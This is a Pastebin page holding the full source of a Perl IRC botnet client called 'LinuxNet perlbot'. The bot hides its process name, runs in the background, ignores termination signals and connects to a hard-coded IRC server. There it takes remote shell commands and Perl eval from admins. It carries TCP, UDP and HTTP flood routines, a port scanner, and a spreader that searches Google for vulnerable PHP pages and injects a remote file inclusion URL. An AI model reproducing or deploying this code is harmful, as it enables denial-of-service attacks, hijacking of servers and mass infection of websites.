Guest User

Untitled

a guest
Sep 30th, 2014
39
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 16.29 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # ------------------------------------------------------------- #
  3. #           LinuxNet perlbot            #
  4. # ------------------------------------------------------------- #
  5.  
  6. #system("kill -9 `ps ax |grep /usr/sbin/apache2/log |grep -v grep|awk '{print $1;}'`");
  7. #system("kill -9 `ps ax |grep /usr/sbin/apache3/log |grep -v grep|awk '{print $1;}'`");
  8. #system("kill -9 `ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'`");
  9. #system("kill -9 `ps ax |grep /usr/sbin/httpd |grep -v grep|awk '{print $1;}'`");
  10. #system("kill -9 `ps ax |grep /usr/sbin/atd |grep -v grep|awk '{print $1;}'`");
  11.  
  12. my $processo = '-';
  13.  
  14.  
  15. my @titi = ("index.php?page=","main.php?page=");
  16.  
  17. my $goni = $titi[rand scalar @titi];
  18.  
  19. my $linas_max='7';
  20. my $sleep='7';
  21. my @adms=("x","JB" );
  22. my @hostauth=("localhost","outlaw");
  23. my @canais=("#gnu");
  24. my $nick='|GNU|';
  25. my $ircname ='GNU';
  26. chop (my $realname = `uname -sr`);
  27. $servidor='ircd.w3h.co.uk' unless $servidor;
  28. my $porta='443';
  29. my $VERSAO = '0.5';
  30. $SIG{'INT'} = 'IGNORE';
  31. $SIG{'HUP'} = 'IGNORE';
  32. $SIG{'TERM'} = 'IGNORE';
  33. $SIG{'CHLD'} = 'IGNORE';
  34. $SIG{'PS'} = 'IGNORE';
  35. use IO::Socket;
  36. use Socket;
  37. use IO::Select;
  38. chdir("/tmp");
  39. $servidor="$ARGV[0]" if $ARGV[0];
  40. $0="$processo"."\0"x16;;
  41. my $pid=fork;
  42. exit if $pid;
  43. die "Problema com o fork: $!" unless defined($pid);
  44.  
  45. our %irc_servers;
  46. our %DCC;
  47. my $dcc_sel = new IO::Select->new();
  48.  
  49. $sel_cliente = IO::Select->new();
  50. sub sendraw {
  51.   if ($#_ == '1') {
  52.     my $socket = $_[0];
  53.     print $socket "$_[1]\n";
  54.   } else {
  55.       print $IRC_cur_socket "$_[0]\n";
  56.   }
  57. }
  58.  
  59. sub conectar {
  60.    my $meunick = $_[0];
  61.    my $servidor_con = $_[1];
  62.    my $porta_con = $_[2];
  63.  
  64.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  65.    if (defined($IRC_socket)) {
  66.      $IRC_cur_socket = $IRC_socket;
  67.  
  68.      $IRC_socket->autoflush(1);
  69.      $sel_cliente->add($IRC_socket);
  70.  
  71.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  72.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  73.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  74.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  75.      nick("$meunick");
  76.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  77.      sleep 1;
  78.    }
  79. }
  80. my $line_temp;
  81. while( 1 ) {
  82.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  83.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  84.    my @ready = $sel_cliente->can_read(0);
  85.    next unless(@ready);
  86.    foreach $fh (@ready) {
  87.      $IRC_cur_socket = $fh;
  88.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  89.      $nread = sysread($fh, $msg, 4096);
  90.      if ($nread == 0) {
  91.         $sel_cliente->remove($fh);
  92.         $fh->close;
  93.         delete($irc_servers{$fh});
  94.      }
  95.      @lines = split (/\n/, $msg);
  96.  
  97.      for(my $c=0; $c<= $#lines; $c++) {
  98.        $line = $lines[$c];
  99.        $line=$line_temp.$line if ($line_temp);
  100.        $line_temp='';
  101.        $line =~ s/\r$//;
  102.        unless ($c == $#lines) {
  103.          parse("$line");
  104.        } else {
  105.            if ($#lines == 0) {
  106.              parse("$line");
  107.            } elsif ($lines[$c] =~ /\r$/) {
  108.                parse("$line");
  109.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  110.                parse("$line");
  111.            } else {
  112.                $line_temp = $line;
  113.            }
  114.        }
  115.       }
  116.    }
  117. }
  118.  
  119. sub parse {
  120.    my $servarg = shift;
  121.    if ($servarg =~ /^PING \:(.*)/) {
  122.      sendraw("PONG :$1");
  123.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  124.        my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  125.        if ($args =~ /^\001VERSION\001$/) {
  126.          notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  127.        }
  128.        if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  129.        if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  130.          if ($onde eq "$meunick"){
  131.            shell("$pn", "$args");
  132.          }
  133.          if ($args =~ /^(\Q$meunick\E|\.say)\s+(.*)/ ) {
  134.             my $natrix = $1;
  135.             my $arg = $2;
  136.             if ($arg =~ /^\!(.*)/) {
  137.               ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  138.             } elsif ($arg =~ /^\@(.*)/) {
  139.                 $ondep = $onde;
  140.                 $ondep = $pn if $onde eq $meunick;
  141.                 bfunc("$ondep","$1");
  142.             } else {
  143.                 shell("$onde", "$arg");
  144.             }
  145.          }
  146.        }
  147.     }
  148.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  149.        if (lc($1) eq lc($meunick)) {
  150.          $meunick=$4;
  151.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  152.        }
  153.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  154.        nick("$meunick".int rand(999999));
  155.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  156.        $meunick = $2;
  157.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  158.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  159.        foreach my $canal (@canais) {
  160.          sendraw("JOIN $canal ddosit");
  161.        }
  162.    }
  163. }
  164.  
  165.  
  166. sub bfunc {
  167.   my $printl = $_[0];
  168.   my $funcarg = $_[1];
  169.   if (my $pid = fork) {
  170.      waitpid($pid, 0);
  171.   } else {
  172.       if (fork) {
  173.          exit;
  174.        } else {
  175.            if ($funcarg =~ /^portscan (.*)/) {
  176.              my $hostip="$1";
  177.              my @portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  178.              my (@aberta, %porta_banner);
  179.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");    
  180.              foreach my $porta (@portas)  {
  181.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  182.                 if ($scansock) {
  183.                    push (@aberta, $porta);
  184.                    $scansock->close;
  185.                 }
  186.              }
  187.  
  188.              if (@aberta) {
  189.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
  190.              } else {
  191.                sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
  192.              }
  193.            }
  194.            if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  195.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
  196.          my $itime = time;
  197.          my ($cur_time);
  198.              $cur_time = time - $itime;
  199.          while ($3>$cur_time){
  200.              $cur_time = time - $itime;
  201.          &tcpflooder("$1","$2","$3");
  202.              }
  203.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
  204.            }
  205.        if ($funcarg =~ /^version/) {
  206.         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);           
  207.         }
  208.            if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
  209.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched mambo for ".$1." seconds.");
  210.          srand;
  211.          my $itime = time;
  212.          my ($cur_time);
  213.          my ($exploited);
  214.          $boturl=$2;
  215.              $cur_time = time - $itime;$exploited = 0;
  216.         while($1>$cur_time){
  217.             $cur_time = time - $itime;
  218.             @urls=fetch();
  219.             foreach $url (@urls) {
  220.             $cur_time = time - $itime;
  221.             my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
  222.  
  223.             $url =$path."/$goni$boturl" ;
  224.  
  225.  
  226.  
  227.  
  228.             $page = http_query($url);
  229.             $exploited = $exploited + 1;
  230.             }
  231.         }
  232.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1." seconds.");
  233.            }
  234.            if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  235.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
  236.          my $itime = time;
  237.          my ($cur_time);
  238.              $cur_time = time - $itime;
  239.          while ($2>$cur_time){
  240.              $cur_time = time - $itime;
  241.          my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  242.              print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  243.          close($socket);
  244.              }
  245.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
  246.            }
  247.            if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  248.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for ".$3." seconds.");
  249.              my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  250.              $dtime = 1 if $dtime == 0;
  251.              my %bytes;
  252.              $bytes{igmp} = $2 * $pacotes{igmp};
  253.              $bytes{icmp} = $2 * $pacotes{icmp};
  254.              $bytes{o} = $2 * $pacotes{o};
  255.              $bytes{udp} = $2 * $pacotes{udp};
  256.              $bytes{tcp} = $2 * $pacotes{tcp};
  257.              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
  258.            }
  259.            exit;
  260.        }
  261.   }
  262. }
  263.  
  264. sub ircase {
  265.   my ($kem, $printl, $case) = @_;
  266.  
  267.   if ($case =~ /^join (.*)/) {
  268.      j("$1");
  269.    }
  270.  
  271. if ($case =~ /^refresh (.*)/) {
  272. my $goni = $titi[rand scalar @titi];
  273.  }
  274.  
  275.    if ($case =~ /^part (.*)/) {
  276.       p("$1");
  277.    }
  278.    if ($case =~ /^rejoin\s+(.*)/) {
  279.       my $chan = $1;
  280.       if ($chan =~ /^(\d+) (.*)/) {
  281.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  282.           p("$2");
  283.           j("$2");
  284.         }
  285.       } else {
  286.           p("$chan");
  287.           j("$chan");
  288.       }
  289.    }
  290.    if ($case =~ /^op/) {
  291.       op("$printl", "$kem") if $case eq "op";
  292.       my $oarg = substr($case, 3);
  293.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  294.    }
  295.    if ($case =~ /^deop/) {
  296.       deop("$printl", "$kem") if $case eq "deop";
  297.       my $oarg = substr($case, 5);
  298.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  299.    }
  300.    if ($case =~ /^msg\s+(\S+) (.*)/) {
  301.       msg("$1", "$2");
  302.    }
  303.    if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  304.       for (my $cf = 1; $cf <= $1; $cf++) {
  305.         msg("$2", "$3");
  306.       }
  307.    }
  308.    if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  309.       ctcp("$1", "$2");
  310.    }
  311.    if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  312.       for (my $cf = 1; $cf <= $1; $cf++) {
  313.         ctcp("$2", "$3");
  314.       }
  315.    }
  316.    if ($case =~ /^nick (.*)/) {
  317.       nick("$1");
  318.    }
  319.    if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  320.        conectar("$2", "$1", 6667);
  321.    }
  322.    if ($case =~ /^raw (.*)/) {
  323.       sendraw("$1");
  324.    }
  325.    if ($case =~ /^eval (.*)/) {
  326.      eval "$1";
  327.    }
  328. }
  329.  
  330. sub shell {
  331.   my $printl=$_[0];
  332.   my $comando=$_[1];
  333.   if ($comando =~ /cd (.*)/) {
  334.     chdir("$1") || msg("$printl", "No such file or directory");
  335.     return;
  336.   }
  337.   elsif ($pid = fork) {
  338.      waitpid($pid, 0);
  339.   } else {
  340.       if (fork) {
  341.          exit;
  342.        } else {
  343.            my @resp=`$comando 2>&1 3>&1`;
  344.            my $c=0;
  345.            foreach my $linha (@resp) {
  346.              $c++;
  347.              chop $linha;
  348.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  349.              if ($c == "$linas_max") {
  350.                $c=0;
  351.                sleep $sleep;
  352.              }
  353.            }
  354.            exit;
  355.        }
  356.   }
  357. }
  358.  
  359. sub tcpflooder {
  360.  my $itime = time;
  361.  my ($cur_time);
  362.  my ($ia,$pa,$proto,$j,$l,$t);
  363.  $ia=inet_aton($_[0]);
  364.  $pa=sockaddr_in($_[1],$ia);
  365.  $ftime=$_[2];
  366.  $proto=getprotobyname('tcp');
  367.  $j=0;$l=0;
  368.  $cur_time = time - $itime;
  369.  while ($l<1000){
  370.   $cur_time = time - $itime;
  371.   last if $cur_time >= $ftime;
  372.   $t="SOCK$l";
  373.   socket($t,PF_INET,SOCK_STREAM,$proto);
  374.   connect($t,$pa)||$j--;
  375.   $j++;$l++;
  376.  }
  377.  $l=0;
  378.  while ($l<1000){
  379.   $cur_time = time - $itime;
  380.   last if $cur_time >= $ftime;
  381.   $t="SOCK$l";
  382.   shutdown($t,2);
  383.   $l++;
  384.  }
  385. }
  386.  
  387. sub udpflooder {
  388.   my $iaddr = inet_aton($_[0]);
  389.   my $msg = 'A' x $_[1];
  390.   my $ftime = $_[2];
  391.   my $cp = 0;
  392.   my (%pacotes);
  393.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  394.  
  395.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  396.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  397.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  398.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  399.   return(undef) if $cp == 4;
  400.   my $itime = time;
  401.   my ($cur_time);
  402.   while ( 1 ) {
  403.      for (my $porta = 1; $porta <= 65000; $porta++) {
  404.        $cur_time = time - $itime;
  405.        last if $cur_time >= $ftime;
  406.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  407.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  408.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  409.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  410.  
  411.        for (my $pc = 3; $pc <= 255;$pc++) {
  412.          next if $pc == 6;
  413.          $cur_time = time - $itime;
  414.          last if $cur_time >= $ftime;
  415.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  416.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  417.        }
  418.      }
  419.      last if $cur_time >= $ftime;
  420.   }
  421.   return($cur_time, %pacotes);
  422. }
  423.  
  424. sub ctcp {
  425.    return unless $#_ == 1;
  426.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  427. }
  428. sub msg {
  429.    return unless $#_ == 1;
  430.    sendraw("PRIVMSG $_[0] :$_[1]");
  431. }  
  432. sub notice {
  433.    return unless $#_ == 1;
  434.    sendraw("NOTICE $_[0] :$_[1]");
  435. }
  436. sub op {
  437.    return unless $#_ == 1;
  438.    sendraw("MODE $_[0] +o $_[1]");
  439. }
  440. sub deop {
  441.    return unless $#_ == 1;
  442.    sendraw("MODE $_[0] -o $_[1]");
  443. }
  444. sub j { &join(@_); }
  445. sub join {
  446.    return unless $#_ == 0;
  447.    sendraw("JOIN $_[0]");
  448. }
  449. sub p { part(@_); }
  450. sub part {
  451.   sendraw("PART $_[0]");
  452. }
  453. sub nick {
  454.   return unless $#_ == 0;
  455.   sendraw("NICK $_[0]");
  456. }
  457. sub quit {
  458.   sendraw("QUIT :$_[0]");
  459. }
  460.  
  461. # Spreader
  462. # this 'spreader' code isnot mine, i dont know who coded it.
  463. # update: well, i just fix0red this shit a bit.
  464. #
  465.  
  466. sub fetch(){
  467.     my $rnd=(int(rand(9999)));
  468.     my $n= 80;
  469.     if ($rnd<5000) { $n<<=1;}
  470.     my $s= (int(rand(5)) * $n);
  471.  
  472. my @dominios = ("com","net","org","info","gov", "gob","gub","xxx", "eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
  473.         "py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
  474.         "af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
  475.         "vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
  476.         "ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
  477.         "iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
  478.         "ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
  479.         "na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",     
  480.         "sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
  481.         "vu","vn","ye","yu","cd","zm","zw","");
  482. my @str;
  483.  
  484. foreach $dom  (@dominios)
  485. {
  486.     push (@str,"allinurl:%22".$dom."/".$goni."%22");
  487. }
  488.  
  489.     my $query="www.google.com/search?q=";
  490.     $query.=$str[(rand(scalar(@str)))];
  491.     $query.="&num=$n&start=$s";
  492.  
  493.  
  494.     my @lst=();
  495.     my $page = http_query($query);
  496.     while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
  497.     if ($1 !~ m/google|cache|translate/){
  498.         push (@lst,$1);
  499.     }
  500.     }
  501.     return (@lst);
  502. }
  503.  
  504.  
  505. sub http_query($){
  506.     my ($url) = @_;
  507.     my $host=$url;
  508.     my $query=$url;
  509.  
  510.     my $page="";
  511.     $host =~ s/href=\"?http:\/\///;
  512.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  513.     $query =~s/$host//;
  514.     if ($query eq "") {$query="/";};
  515.     eval {
  516.     local $SIG{ALRM} = sub { die "1";};
  517.     alarm 10;
  518.     my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
  519.     print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  520.     my @r = <$sock>;
  521.     $page="@r";
  522.     alarm 0;
  523.     close($sock);
  524.     };    
  525.     return $page;
  526.  
  527. }
Advertisement
Add Comment
Please, Sign In to add comment